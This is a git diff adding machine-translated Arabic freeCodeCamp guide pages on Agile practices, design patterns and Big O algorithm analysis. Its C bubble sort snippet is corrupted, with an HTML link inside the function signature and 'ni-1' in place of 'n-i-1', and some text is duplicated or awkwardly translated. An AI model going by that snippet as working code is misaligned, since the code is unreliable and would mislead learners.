+> في يوم 11-13 فبراير 2001 ، في منتجع لودج آت سنوبيرد للتزلج في جبال واساتس في يوتا ، التقى سبعة عشر شخصًا للحديث ، والتزلج ، والاسترخاء ، ومحاولة إيجاد أرضية مشتركة - وبالطبع ، لتناول الطعام. \[…\] الآن ، سيكون من الصعب العثور على تجمع أكبر للأناركيين التنظيميين ، لذا فإن ما خرج من هذا الاجتماع كان رمزيًا - بيانًا لتطور برامج Agile - وقعه جميع المشاركين. (1)
+
+### بيان لتطوير البرمجيات رشيقة
+
+نحن نكشف عن طرق أفضل لتطوير البرمجيات من خلال القيام بذلك ومساعدة الآخرين على القيام بذلك.
+
+من خلال هذا العمل ، وصلنا إلى قيمة
+
+*   **الأفراد والتفاعلات** على العملية والأدوات.
+*   **برنامج العمل** على وثائق شاملة.
+*   **تعاون العملاء** على التفاوض بشأن العقود.
+*   **الاستجابة للتغيير** بعد اتباع الخطة.
+
+في حين أن هناك قيمة في العناصر على اليمين ، فإننا نقدر العناصر على اليسار أكثر.
+
+### اثنا عشر مبادئ من رشيق البرمجيات
+
+1.  إن أولويتنا القصوى هي إرضاء العميل من خلال تقديم برامج قيمة في وقت مبكر ومستمر.
+2.  نرحب المتطلبات المتغيرة، حتى وقت متأخر في التنمية. تساهم العمليات السريعة في تغيير الميزة التنافسية للعميل.
+3.  تقديم برامج العمل في كثير من الأحيان ، من بضعة أسابيع إلى بضعة أشهر ، مع تفضيل لفترة زمنية أقصر.
+4.  يجب على رجال الأعمال والمطورين العمل معا يوميا في جميع أنحاء المشروع.
+5.  بناء مشاريع حول دوافع الأفراد. أعطهم البيئة والدعم الذي يحتاجون إليه ، وثق بهم لإنجاز المهمة.
+6.  إن الطريقة الأكثر فعالية وفعالية لنقل المعلومات إلى فريق التطوير وداخله هي المحادثة المباشرة.
+7.  يعمل البرنامج هو المقياس الأساسي للتقدم.
+8.  عمليات رشيقة تعزز التنمية المستدامة. يجب على مقدمي المشروع والمطورين والمستخدمين الحفاظ على وتيرة ثابتة إلى أجل غير مسمى.
+9.  الاهتمام المستمر بالتميز الفني والتصميم الجيد يعزز من الرشاقة.
+10.  البساطة - فن تعظيم كمية العمل التي لم يتم القيام بها - أمر ضروري.
+11.  تنشأ أفضل البنى والمتطلبات والتصاميم من فرق التنظيم الذاتي.
+12.  في الفترات المنتظمة ، يتأمل الفريق في كيفية أن يصبح أكثر فعالية ، ثم يضبط ويعدل سلوكه وفقًا لذلك.
+
+#### معلومات اكثر:
+
+*   [(1) التاريخ: The Agile Manifesto](http://agilemanifesto.org/history.html)
+*   [بيان أجيل](http://agilemanifesto.org/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/user-acceptance-tests/index.md b/client/src/guide/arabic/agile/user-acceptance-tests/index.md
new file mode 100644
index 0000000000..ac52f34ba6
--- /dev/null
+++ b/client/src/guide/arabic/agile/user-acceptance-tests/index.md
@@ -0,0 +1,54 @@
+---
+title: User Acceptance Tests
+localeTitle: اختبارات قبول المستخدم
+---
+## اختبارات قبول المستخدم
+
+في الهندسة ومختلف فروعها ، اختبار القبول هو اختبار تم إجراؤه لتحديد ما إذا كانت متطلبات المواصفة أو العقد قد تم الوفاء بها. قد تتضمن اختبارات كيميائية أو اختبارات فيزيائية أو اختبارات أداء.
+
+في هندسة الأنظمة ، قد يتضمن اختبار الصندوق الأسود على نظام (على سبيل المثال: قطعة من البرمجيات ، أو الكثير من الأجزاء الميكانيكية المصنعة ، أو دفعات من المنتجات الكيميائية) قبل تسليمها.
+
+في اختبار البرمجيات ، يعرف ISTQB القبول على النحو التالي: الاختبار الرسمي فيما يتعلق باحتياجات المستخدم ، ومتطلباته ، وعمليات الأعمال التي أجريت لتحديد ما إذا كان النظام يلبي معايير القبول ولتمكين المستخدم أو العملاء أو الكيان المعتمد الآخر لتحديد ما إذا كان سيتم قبول أو عدم قبول النظام. يعرف اختبار القبول أيضاً باختبار قبول المستخدم (UAT) ، واختبار المستخدم النهائي ، واختبار القبول التشغيلي (OAT) أو اختبار المجال (القبول).
+
+يمكن استخدام اختبار الدخان كاختبار قبول قبل تقديم بنية من البرامج إلى عملية الاختبار الرئيسية.
+
+واحدة من الخطوات النهائية في اختبار البرمجيات هي اختبار قبول المستخدم (UAT). UAT يتأكد من أن المستخدمين الفعليين يمكنهم استخدام البرنامج. يُشار أيضًا إلى الاختبار التجريبي والتطبيق واختبار المستخدم النهائي.
+
+يتحقق UAT أن كل شيء يعمل بشكل صحيح وأنه لا توجد حوادث. ينبغي على الجمهور المستهدف إكمال الاختبار ؛ يمكن أن يتكون هذا من العديد من الأشخاص المشاركين في العملية وأي شخص قادر على الاختبار قبل بدء البث المباشر. يتم إرسال التعليقات الواردة من هذا الاختبار إلى فريق التطوير لأي تغييرات محددة.
+
+#### لماذا نحتاج UAT
+
+*   تغييرات المتطلب قد لا تكون قد أبلغت للمطورين
+    
+*   قد لا يتم تقديم البرنامج في الواقع لما يعنيه
+    
+*   قد تحتاج بعض المنطق أو العملية التجارية إلى اهتمام المستخدم
+    
+
+#### ما هو مطلوب قبل أن نبدأ UAT
+
+*   تم التوقيع على requriement كاملة ومتاحة كما هو موثق
+    
+*   الرمز قيد العمل أو في حالة قابلة للتطبيق
+    
+*   UAT هي بيئة جاهزة للوصول
+    
+*   يجب ألا يكون هناك أي عيب والذي سيؤدي إلى كسر الشفرة
+    
+*   بيانات اختبار أعدت وفقا ل scneario LIVE
+    
+
+#### الإطار والأدوات المستخدمة
+
+*   FitNesse
+
+#### مقالات حول UAT
+
+*   [7 مفاتيح إلى اختبار قبول المستخدم الناجح](http://blog.debugme.eu/successful-user-acceptance-testing/)
+    
+*   [AgileUAT: إطار لاختبار قبول المستخدم استنادًا إلى قصص المستخدم ومعايير القبول](http://research.ijcaonline.org/volume120/number10/pxc3903533.pdf)
+    
+
+#### معلومات اكثر:
+
+https://en.wikipedia.org/wiki/Acceptance\_testing
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/user-stories/index.md b/client/src/guide/arabic/agile/user-stories/index.md
new file mode 100644
index 0000000000..e0b5198a4d
--- /dev/null
+++ b/client/src/guide/arabic/agile/user-stories/index.md
@@ -0,0 +1,28 @@
+---
+title: User Stories
+localeTitle: قصص المستخدم
+---
+تعد قصص المستخدمين جزءًا من نهج سريع يساعد على تحويل التركيز من الكتابة عن المتطلبات إلى التحدث عنها. تتضمن جميع قصص المستخدمين الذكية جملة مكتوبة أو اثنتين ، والأهم من ذلك ، سلسلة من المحادثات حول الوظيفة المطلوبة.
+
+تتم كتابة قصص المستخدمين عادةً باستخدام النمط التالي:
+
+#### بصفتي \[نوع من المستخدمين\] ، أريد \[بعض الأهداف\] حتى \[بعض الأسباب أو الحاجة\]
+
+يجب كتابة قصص المستخدمين بعبارات غير فنية من وجهة نظر المستخدم. يجب أن تؤكد القصة على حاجة المستخدم ، وليس كيف. يجب ألا يكون هناك حل متوفر في قصة المستخدم.
+
+يتم كتابة خطأ شائع واحد عند كتابة قصص المستخدمين من منظور المطور أو الحل. تأكد من تحديد الهدف والحاجة ، وستأتي المتطلبات الوظيفية لاحقًا.
+
+#### تحجيم قصة مستخدم: الملاحم والقصص الأصغر
+
+الملحمة هي قصة كبيرة خشنّة. يتم تقسيمها عادةً إلى العديد من قصص المستخدمين على مدار الوقت - مما يعزز ردود فعل المستخدمين على النماذج الأولية المبكرة والزيادات في المنتجات. يمكنك التفكير في ذلك كعنوان رئيسي وعنصر نائب لمزيد من القصص التفصيلية.
+
+بدءا من الملاحم يسمح لك لرسم وظائف المنتج دون الالتزام بالتفاصيل. هذا مفيد بشكل خاص لوصف المنتجات والميزات الجديدة: إنه يسمح لك بالتقاط النطاق الخام ، ويشتري لك الوقت لمعرفة المزيد حول كيفية تلبية احتياجات المستخدمين على أفضل وجه.
+
+كما يقلل من الوقت والجهد اللازمين لدمج رؤى جديدة. إذا كان لديك العديد من القصص التفصيلية في تراكم المنتجات ، فغالباً ما يكون من الصعب ومستهلكًا للوقت ربط التعليقات بالعناصر المناسبة وينطوي على مخاطر إدخال التناقضات.
+
+عند التفكير في قصص محتملة ، من المهم أيضًا مراعاة "حالات إساءة الاستخدام" و "المسار غير السار". كيف سيتم التعامل مع الاستثناءات من قبل النظام؟ ما نوع الرسائل التي ستقدمها للمستخدم؟ كيف يمكن أن يقوم مستخدم ضار بإساءة استخدام وظيفة التطبيق هذه؟ هذه القصص يمكن أن تنقذ إعادة العمل وتصبح حالات اختبار مفيدة في ضمان الجودة.
+
+#### معلومات اكثر:
+
+*   [دليل الماعز الجبلي لقصص المستخدم](https://www.mountaingoatsoftware.com/agile/user-stories)
+*   [رومان Pichler دليل لقصص المستخدم](http://www.romanpichler.com/blog/10-tips-writing-good-user-stories/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/value-stream-mapping/index.md b/client/src/guide/arabic/agile/value-stream-mapping/index.md
new file mode 100644
index 0000000000..4996fb022b
--- /dev/null
+++ b/client/src/guide/arabic/agile/value-stream-mapping/index.md
@@ -0,0 +1,17 @@
+---
+title: Value Stream Mapping
+localeTitle: رسم الخرائط تيار القيمة
+---
+## رسم الخرائط تيار القيمة
+
+**تخطيط دفق القيمة** هو تقنية تطوير برمجي. يساعد على تحديد النفايات في الموارد من حيث المواد والجهد والتكلفة والوقت.
+
+يعد حساب كفاءة دورة العمليات إحدى الطرق لاكتشاف كفاءة عملية AS-IS.
+
+**كفاءة دورة العمليات = الوقت المستغرق في القيمة المضافة / الوقت الإجمالي للدورة.**
+
+كلما زادت القيمة كلما كانت الكفاءة أفضل.
+
+#### معلومات اكثر:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Value_stream_mapping)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/vanity-metrics/index.md b/client/src/guide/arabic/agile/vanity-metrics/index.md
new file mode 100644
index 0000000000..8506cb906d
--- /dev/null
+++ b/client/src/guide/arabic/agile/vanity-metrics/index.md
@@ -0,0 +1,27 @@
+---
+title: Vanity Metrics
+localeTitle: مقاييس الغرور
+---
+## مقاييس الغرور
+
+عندما تكون Vanity هي قيمة المظهر على الجودة ، فإن Vanity Metrics عبارة عن قياسات تستخدم ، دون سياق أو تفسير ، لجعل شخص ما أو شيء ما يبدو جيدًا. يشير إريك ريس ، الذي نشر في " [هارفارد بيزنس ريفيو"](https://hbr.org/2010/02/entrepreneurs-beware-of-vanity-metrics) ، إلى أن المقاييس يجب أن تكون **قابلة للتنفيذ** ، **ويمكن الوصول إليها** ، وأن تكون **قابلة للتدقيق** لكي يكون لها معنى.
+
+![مقاييس الغرور](https://i.pinimg.com/originals/d4/ea/9a/d4ea9ade0de05a5707e11b325a37d5fb.jpg)
+
+أمثلة:
+
+*   المستخدمون المسجلون مقابل المستخدمين النشطين
+*   قصص المستخدمين المقبولة مقابل القيمة المقدمة للعميل
+*   أتباع التغريد مقابل ريتويتيد
+
+![مسائل القيمة](https://blog.kissmetrics.com/wp-content/uploads/2012/01/increasing-pageviews-flat-revenues.png) _الصورة عن طريق kissmetrics_
+
+#### معلومات اكثر:
+
+Fizzle على Actionable [vs Vanity Metrics](https://fizzle.co/sparkline/vanity-vs-actionable-metrics)
+
+Harvard Business Review on [Vanity Metrics](https://hbr.org/2010/02/entrepreneurs-beware-of-vanity-metrics)
+
+Forbes [Ignore Vanity Metrics and Focus on Engagement](https://www.forbes.com/sites/sujanpatel/2015/05/13/why-you-should-ignore-vanity-metrics-focus-on-engagement-metrics-instead/#1342fdeb12a9)
+
+القذف [بعيدا بعيدا الغرور القياسات](https://blog.kissmetrics.com/throw-away-vanity-metrics/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/velocity/index.md b/client/src/guide/arabic/agile/velocity/index.md
new file mode 100644
index 0000000000..90c1ba5730
--- /dev/null
+++ b/client/src/guide/arabic/agile/velocity/index.md
@@ -0,0 +1,13 @@
+---
+title: Velocity
+localeTitle: ● السرعة
+---
+## ● السرعة
+
+على فريق Scrum ، يمكنك تحديد السرعة في نهاية كل تكرار. إنه ببساطة مجموع نقاط Story مكتملة داخل timebox.
+
+إن وجود سرعة متوقعة وثابتة تسمح لفريقك بالتخطيط للتكرار الخاص بك مع بعض الثقة ، والعمل بشكل مستدام ، والتنبؤ ، مع البيانات التجريبية ، بحجم النطاق المطلوب تضمينه في كل إصدار.
+
+#### معلومات اكثر:
+
+تحالف سكروم على [السرعة](https://www.scrumalliance.org/community/articles/2014/february/velocity)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/voice-of-the-customer/index.md b/client/src/guide/arabic/agile/voice-of-the-customer/index.md
new file mode 100644
index 0000000000..974e51dbd7
--- /dev/null
+++ b/client/src/guide/arabic/agile/voice-of-the-customer/index.md
@@ -0,0 +1,14 @@
+---
+title: Voice of the Customer
+localeTitle: صوت الزبون
+---
+## صوت الزبون
+
+أنت ، بصفتك مالك المنتج (PO) ، هي صوت العميل إلى فريق التسليم. عندما يحتاج الفريق إلى توضيح حول قصة ، لفهم "ماذا ولماذا" بشكل أفضل ، سيطلبون منك ذلك.  
+أنت تفهم الاحتياجات والدوافع والنتائج المرجوة للعميل أثناء تغييرها على طول المشروع.
+
+#### معلومات اكثر:
+
+تحالف سكروم على [مالك المنتج](https://www.scrumalliance.org/community/articles/2014/july/who-is-your-product-owner)
+
+Agile Alliance على [مالك المنتج](https://www.agilealliance.org/glossary/product-owner/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/algorithm-design-patterns/behavioral-patterns/index.md b/client/src/guide/arabic/algorithms/algorithm-design-patterns/behavioral-patterns/index.md
new file mode 100644
index 0000000000..b4d4829656
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/algorithm-design-patterns/behavioral-patterns/index.md
@@ -0,0 +1,31 @@
+---
+title: Behavioral patterns
+localeTitle: الأنماط السلوكية
+---
+## الأنماط السلوكية
+
+الأنماط التصميمية السلوكية هي أنماط التصميم التي تحدد مشاكل الاتصال الشائعة بين الأشياء وتحقق هذه الأنماط. من خلال القيام بذلك ، تزيد هذه الأنماط من المرونة في تنفيذ هذا الاتصال ، مما يجعل البرنامج أكثر موثوقية وسهل.
+
+تتضمن أمثلة هذا النوع من أنماط التصميم:
+
+1.  **نمط سلسلة المسئولية** : تتم معالجة كائنات الأوامر أو تمريرها إلى كائنات أخرى بواسطة كائنات معالجة تحتوي على المنطق.
+2.  **نمط الأوامر** : تقوم كائنات الأوامر بتغليف إجراء ومعلماته.
+3.  **نمط المترجم** : تنفيذ لغة كمبيوتر متخصصة لحل مجموعة محددة من المشكلات بسرعة.
+4.  **نمط التكرار** : يتم استخدام المتكررات للوصول إلى عناصر كائن تجميعي بشكل تسلسلي دون تعريض التمثيل الأساسي الخاص به.
+5.  **نمط الوسيط** : يوفر واجهة موحدة لمجموعة من الواجهات في النظام الفرعي.
+6.  **نمط تذكار** : يوفر القدرة على استعادة كائن إلى حالته السابقة (التراجع).
+7.  **نمط كائن فارغ** : تم تصميمه ليكون بمثابة قيمة افتراضية للكائن.
+8.  **نمط** **الملاحظ** : الملقب P **ublish / اشتراك** أو **مستمع الحدث** . تسجيل كائنات لمراقبة حدث قد يتم رفعه بواسطة كائن آخر.
+9.  **نمط مرجعي ضعيف** : قم بإزالة مراقب من شخص يمكن ملاحظته.
+10.  **مكدس البروتوكول** : يتم التعامل مع الاتصالات بواسطة طبقات متعددة ، والتي تشكل تسلسل هرمي للتغليف.
+11.  **نمط** المهمة المجدولة: من المقرر أن يتم تنفيذ مهمة في فترة زمنية محددة أو على مدار الساعة (تستخدم في الحوسبة في الوقت الفعلي).
+12.  **نمط زائر أحادي الخدمة** : يمكنك تحسين تنفيذ الزائر المخصص ، واستخدامه مرة واحدة فقط ، ثم حذفه.
+13.  **نمط المواصفة** : منطق عمل متجانس بطريقة بوليانية.
+14.  **نمط الحالة** : طريقة نظيفة لكائن لتغيير نوعه بشكل جزئي في وقت التشغيل.
+15.  **نمط الإستراتيجية** : يمكن اختيار الخوارزميات بسرعة.
+16.  **نمط أسلوب القالب** : يصف الهيكل العظمي للبرنامج.
+17.  **نمط الزائر** : طريقة لفصل خوارزمية من كائن ما.
+
+### مصادر
+
+[https://en.wikipedia.org/wiki/Behavioral\_pattern](https://en.wikipedia.org/wiki/Behavioral_pattern)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/algorithm-design-patterns/creational-patterns/index.md b/client/src/guide/arabic/algorithms/algorithm-design-patterns/creational-patterns/index.md
new file mode 100644
index 0000000000..7e23d6b9fc
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/algorithm-design-patterns/creational-patterns/index.md
@@ -0,0 +1,21 @@
+---
+title: Creational patterns
+localeTitle: الأنماط الإبداعية
+---
+## الأنماط الإبداعية
+
+أنماط التصميم الإبداعية هي أنماط التصميم التي تتعامل مع آليات إنشاء الكائنات ، وتحاول إنشاء كائنات بطريقة تتناسب مع الموقف. يمكن أن يؤدي الشكل الأساسي لإنشاء الكائنات إلى مشاكل في التصميم أو في تعقيد إضافي للتصميم. تعمل أنماط التصميم الإبداعية على حل هذه المشكلة عن طريق التحكم في إنشاء هذا الكائن بطريقة أو بأخرى.
+
+تتكون أنماط التصميم الإبداعي من فكرتين مهيمنتين. واحد هو تغليف المعرفة حول الفئات الملموسة التي يستخدمها النظام. آخر هو إخفاء كيف يتم إنشاء حالات من هذه الفئات الملموسة والجمع بينها.
+
+هناك خمسة أنماط تصميم معروفة هي أجزاء من الأنماط الإبداعية:
+
+1.  **نمط المصنع المجرد** ، الذي يوفر واجهة لإنشاء كائنات مرتبطة أو مرتبطة بدون تحديد فئات الخرسانة الخاصة بالأشياء.
+2.  **نمط البناء** ، الذي يفصل بناء كائن معقد من تمثيله بحيث يمكن لعملية الإنشاء نفسها إنشاء تمثيلات مختلفة.
+3.  **نمط طريقة المصنع** ، والذي يسمح للطبقة بتأجيل إنشاء الكتل إلى الفئات الفرعية.
+4.  **نمط النموذج** ، الذي يحدد نوع الكائن الذي يتم إنشاؤه باستخدام مثيل نموذجي ، ويخلق كائنات جديدة عن طريق استنساخ هذا النموذج الأولي.
+5.  **نمط Singleton** ، الذي يضمن أن يكون للفئة مثيل واحد فقط ، ويوفر نقطة وصول عالمية إليه.
+
+### مصادر
+
+1.  [جاما ، إريك ؛ هيلم ، ريتشارد. جونسون ، رالف. Vlissides، John (1995). أنماط التصميم. ماساتشوستس: أديسون ويسلي. ص. 81. ISBN 978-0-201-63361-0. استرجع 2015-05-22.](http://www.pearsoned.co.uk/bookshop/detail.asp?item=171742)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/algorithm-design-patterns/index.md b/client/src/guide/arabic/algorithms/algorithm-design-patterns/index.md
new file mode 100644
index 0000000000..a9fc1eccb9
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/algorithm-design-patterns/index.md
@@ -0,0 +1,27 @@
+---
+title: Algorithm Design Patterns
+localeTitle: أنماط تصميم الخوارزمية
+---
+## أنماط تصميم الخوارزمية
+
+في هندسة البرمجيات ، يعتبر نمط التصميم حلاً متكرراً عام لمشكلة شائعة الحدوث في تصميم البرامج. نمط التصميم ليس تصميمًا نهائيًا يمكن تحويله مباشرةً إلى شفرة. هو وصف أو قالب لكيفية حل مشكلة يمكن استخدامها في العديد من المواقف المختلفة.
+
+يمكن لأنماط التصميم تسريع عملية التطوير من خلال تقديم نماذج تطوير مجربة ومثبتة.
+
+تنقسم هذه الأنماط إلى ثلاث فئات رئيسية:
+
+### الأنماط الإبداعية
+
+هذه هي أنماط التصميم التي تتعامل مع آليات إنشاء الكائنات ، وتحاول إنشاء كائنات بطريقة تتناسب مع الموقف. يمكن أن يؤدي الشكل الأساسي لإنشاء الكائنات إلى مشاكل في التصميم أو في تعقيد إضافي للتصميم. تعمل أنماط التصميم الإبداعية على حل هذه المشكلة عن طريق التحكم في إنشاء هذا الكائن بطريقة أو بأخرى.
+
+### الأنماط الهيكلية
+
+هذه هي أنماط التصميم التي تسهل التصميم من خلال تحديد طريقة بسيطة لتحقيق العلاقات بين الكيانات.
+
+### الأنماط السلوكية
+
+هذه هي أنماط التصميم التي تحدد أنماط الاتصال الشائعة بين الكائنات وتحقيق هذه الأنماط. من خلال القيام بذلك ، تزيد هذه الأنماط من المرونة في تنفيذ هذا الاتصال.
+
+#### معلومات اكثر:
+
+[أنماط التصميم - ويكيبيديا](https://en.wikipedia.org/wiki/Design_Patterns)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/algorithm-design-patterns/structual-patterns/index.md b/client/src/guide/arabic/algorithms/algorithm-design-patterns/structual-patterns/index.md
new file mode 100644
index 0000000000..6ab563337e
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/algorithm-design-patterns/structual-patterns/index.md
@@ -0,0 +1,29 @@
+---
+title: Structural patterns
+localeTitle: الأنماط الهيكلية
+---
+## الأنماط الهيكلية
+
+أنماط التصميم الإنشائية هي أنماط تصميم تسهل التصميم من خلال تحديد طريقة بسيطة لتحقيق العلاقات بين الكيانات وهي مسؤولة عن بناء تسلسل هرمي بسيط وفعال بين الطبقات المختلفة.
+
+أمثلة على الأنماط الهيكلية تشمل:
+
+1.  **نمط المحول** : 'adapts' وواجهة واحدة لفئة في واحدة يتوقعها العميل.
+2.  **خط أنابيب المحول** : استخدم محولات متعددة لأغراض التصحيح.
+3.  **نمط واجهة التحديث** : محول يستخدم كواجهة جديدة لفئات متعددة في نفس الوقت.
+4.  **نمط التجميع** : نسخة من نمط مركب مع طرق لتجميع الأطفال.
+5.  **نمط الجسر** : فك التجريد من تنفيذه بحيث يمكن أن يتغير الاثنان بشكل مستقل.
+6.  **علامة مميزة** : يحتوي كائن "بحث" وسيط على الموقع الحقيقي لكائن.
+7.  **نمط مركب** : هيكل شجرة كائنات حيث كل كائن له نفس الواجهة.
+8.  **نمط الديكور** : إضافة وظائف إضافية إلى فصل دراسي في وقت التشغيل حيث يؤدي التصنيف الفرعي إلى زيادة هائلة للفئات الجديدة.
+9.  **نمط القابلية للتوسعة** : aka aka - لإخفاء التعليمات البرمجية المعقدة خلف واجهة بسيطة.
+10.  **نمط الواجهة** : إنشاء واجهة مبسطة لواجهة موجودة لتسهيل الاستخدام للمهام الشائعة.
+11.  **نمط Flyweight** : تتشارك كمية كبيرة من الكائنات في كائن خصائص شائعة لتوفير المساحة.
+12.  **نمط العلامة** : واجهة فارغة لربط البيانات الوصفية بفئة.
+13.  **الأنابيب والمرشحات** : سلسلة من العمليات التي يكون ناتج كل عملية فيها هو مدخلات المرحلة التالية.
+14.  **مؤشر معتم** : مؤشر إلى نوع غير معلن أو خاص ، لإخفاء تفاصيل التنفيذ.
+15.  **نمط الوكيل** يعمل الفصل كواجهة لشيء آخر.
+
+### مصادر
+
+[https://en.wikipedia.org/wiki/Structural\_pattern](https://en.wikipedia.org/wiki/Structural_pattern)
\ No newline at end of file
diff --git a/client/src/guide/arabic/algorithms/algorithm-performance/index.md b/client/src/guide/arabic/algorithms/algorithm-performance/index.md
new file mode 100644
index 0000000000..82947679bb
--- /dev/null
+++ b/client/src/guide/arabic/algorithms/algorithm-performance/index.md
@@ -0,0 +1,92 @@
+---
+title: Algorithm Performance
+localeTitle: أداء الخوارزمية
+---
+في الرياضيات ، يعتبر التدرج الكبير O رمزية تستخدم لوصف ومقارنة _السلوك المحدد_ لوظيفة ما.  
+السلوك المحدود للوظيفة هو كيفية تصرف الدالة لأنها تميل إلى قيمة معينة وفي التدوين الكبير ، عادةً ما تكون في اتجاه الاتجاهات نحو اللانهاية.  
+باختصار ، يستخدم الترميز الكبير O لوصف نمو أو انخفاض وظيفة ، عادةً فيما يتعلق بوظيفة أخرى.
+
+في تصميم الخوارزمية ، نستخدم عادةً تدوينًا كبيرًا لأننا نستطيع أن نرى كيف تعمل الخوارزمية السيئة أو الجيدة في أسوأ وضع. ولكن ضع في اعتبارك أنه ليس دائمًا الحالة نظرًا لأن الحالة الأسوأ قد تكون نادرة جدًا وفي هذه الحالات نحسب متوسط ​​الحالة. في الوقت الراهن لئلا تفريغ كبير O- التأويل.
+
+في الرياضيات ، يعتبر التدرج الكبير O رمزية تستخدم لوصف ومقارنة _السلوك المحدد_ لوظيفة ما.
+
+السلوك المحدود للوظيفة هو كيفية تصرف الدالة لأنها تتجه نحو قيمة معينة وفي التدوين الكبير ، عادة ما تكون في الاتجاه نحو اللانهاية.
+
+باختصار ، يستخدم الترميز الكبير O لوصف نمو أو انخفاض وظيفة ، عادةً فيما يتعلق بوظيفة أخرى.
+
+ملاحظة: x ^ 2 يساوي x \* x أو 'x-squared'\]
+
+على سبيل المثال ، نقول إن x = O (x ^ 2) لكل x> 1 أو بمعنى آخر ، x ^ 2 هو الحد الأعلى على x وبالتالي فإنه ينمو بشكل أسرع.  
+يمكن استبدال رمز المطالبة مثل x = O (x ^ 2) لجميع x> _n_ بـ x <= x ^ 2 لجميع x> _n_ حيث _n_ هو أدنى رقم يفي بالمطالبة ، في هذه الحالة 1.
+
+على نحو فعال ، نقول أن الدالة f (x) التي تمثل O (g (x)) تنمو أبطأ من g (x).
+
+بشكل مقارن ، في علم الحاسوب وتطوير البرمجيات ، يمكننا استخدام التدوين الكبير O من أجل وصف كفاءة الخوارزميات عبر تعقيدها الزمني والفضائي.
+
+يشير **تعقيد الفضاء** لخوارزمية إلى أثر ذاكرتها فيما يتعلق بحجم الإدخال.
+
+على وجه التحديد عند استخدام تدوين كبير O ، فإننا نوضح كفاءة الخوارزمية فيما يتعلق بمدخلات: _n_ ، عادة عندما يقترب _n من_ اللانهاية.  
+عند فحص الخوارزميات ، نرغب عمومًا في تقليل وقت وتعقيد المساحة. تعقيد زمن o (1) يدل على الوقت الثابت.
+
+من خلال مقارنة وتحليل الخوارزميات نحن قادرون على إنشاء تطبيقات أكثر كفاءة.
+
+لأداء الخوارزمية لدينا عاملين رئيسيين:
+
+*   **الوقت** : نحتاج إلى معرفة مقدار الوقت المستغرق لتشغيل خوارزمية لبياناتنا وكيفية نموها حسب حجم البيانات (أو في بعض الحالات عوامل أخرى مثل عدد الأرقام وغيرها).
+    
+*   **الفضاء** : ذاكرتنا مهيبة لذلك علينا أن نعرف مقدار المساحة الخالية التي نحتاجها لهذه الخوارزمية ، ومثل الوقت نحتاج إلى أن نكون قادرين على تتبع نموها.
+    
+
+تستخدم الترميزات الثلاث التالية في معظمها لتمثيل تعقيد خوارزميات الوقت:
+
+1.  **Θ التدوين** : تدوين ثيتا يقيّد الدوال من فوق وأسفل ، لذلك يعرّف السلوك الدقيق. يمكننا القول أن لدينا تدوين ثيتا عندما تكون الحالة الأسوأ وأفضل حالة هي نفسها.
+    
+    > Θ (g (n)) = {f (n): توجد ثوابت موجبة c1 و c2 و n0 بحيث 0 = = c1 _g (n) <= f (n) <= c2_ g (n) لجميع n> = n0}
+    
+2.  **Big O Notation** : يعرّف تدوين Big O الحد الأعلى لخوارزمية. على سبيل المثال ، يأخذ "فرز الإدراج" وقتًا خطيًا في أفضل الحالات والوقت التربيعي في أسوأ الحالات. يمكننا القول بأمان أن تعقيد وقت إدراج الإدراج هو _O_ ( _n ^ 2_ ).
+    
+    > O (g (n)) = {f (n): توجد ثوابت موجبة c و n0 مثل 0 <= f (n) <= cg (n) لجميع n> = n0}
+    
+3.  **Ω التدوين** : Ω الترميز يوفر الحد الأدنى من الخوارزمية. يظهر أسرع إجابة ممكنة لتلك الخوارزمية. > Ω (g (n)) = {f (n): توجد ثوابت موجبة c و n0 مثل 0 <= cg (n) <= f (n) لجميع n> = n0}.
+    
+
+## أمثلة
+
+وكمثال على ذلك ، يمكننا فحص مدى تعقيد خوارزمية [\[الفقاعة التفسيرية\]](https://github.com/FreeCodeCamp/wiki/blob/master/Algorithms-Bubble-Sort.md#algorithm-bubble-sort) وتعبر عن ذلك باستخدام التدوين الكبير O.
+
+#### فقاعة الفرز:
+
+ `    // Function to implement bubble sort 
+    void bubble_sort(int array<a href='http://bigocheatsheet.com/' target='_blank' rel='nofollow'>], int n) 
+    { 
+        // Here n is the number of elements in array 
+        int temp; 
+        for(int i = 0; i < n-1; i++) 
+        { 
+            // Last i elements are already in place 
+            for(int j = 0; j < ni-1; j++) 
+            { 
+                if (array[j] > array[j+1]) 
+                { 
+                    // swap elements at index j and j+1 
+                    temp = array[j]; 
+                    array[j] = array[j+1]; 
+                    array[j+1] = temp; 
+                } 
+            } 
+        } 
+    } 
+` 
+
+النظر في هذا القانون، يمكننا أن نرى أنه في أفضل السيناريوهات حيث يتم فرز مجموعة بالفعل، فإن البرنامج يجعل فقط _ن_ والمقارنات كما لا مقايضة يحدث.  
+لذلك يمكننا القول أن أفضل تعقيد لحالة وقت نوع الفقاعة هو O ( _n_ ).
+
+عند فحص سيناريو الحالة الأسوأ حيث تكون المصفوفة بترتيب عكسي ، سيؤدي التكرار الأول إلى إجراء مقارنات _n_ بينما سيتعين على التالي إجراء مقارنات _n_ - 1 وما إلى ذلك حتى يتم إجراء مقارنة واحدة فقط.  
+ومن ثم ، فإن التدوين الكبير O لهذه الحالة هو _n_ \* \[( _n_ - 1) / 2\] والتي = 0.5 _n_ ^ 2 - 0.5 _n_ = O ( _n_ ^ 2) حيث أن _n n_ ^ 2 يهيمن على الوظيفة التي تسمح لنا تجاهل المصطلح الآخر في الوظيفة.
+
+يمكننا التأكد من هذا التحليل باستخدام \[هذه الورقة الغنائية سهلة الاستخدام الكبيرة التي تتميز بتعقيد وقت O كبير للعديد من هياكل البيانات والخوارزميات الشائعة الاستخدام
+
+من الواضح جداً أنه في حالات الاستخدام الصغيرة ، قد يكون هذا التعقيد الزمني على ما يرام ، وعلى نحو كبير ، لا يكون فرز الفقاعات على نطاق واسع حلاً جيدًا للفرز.  
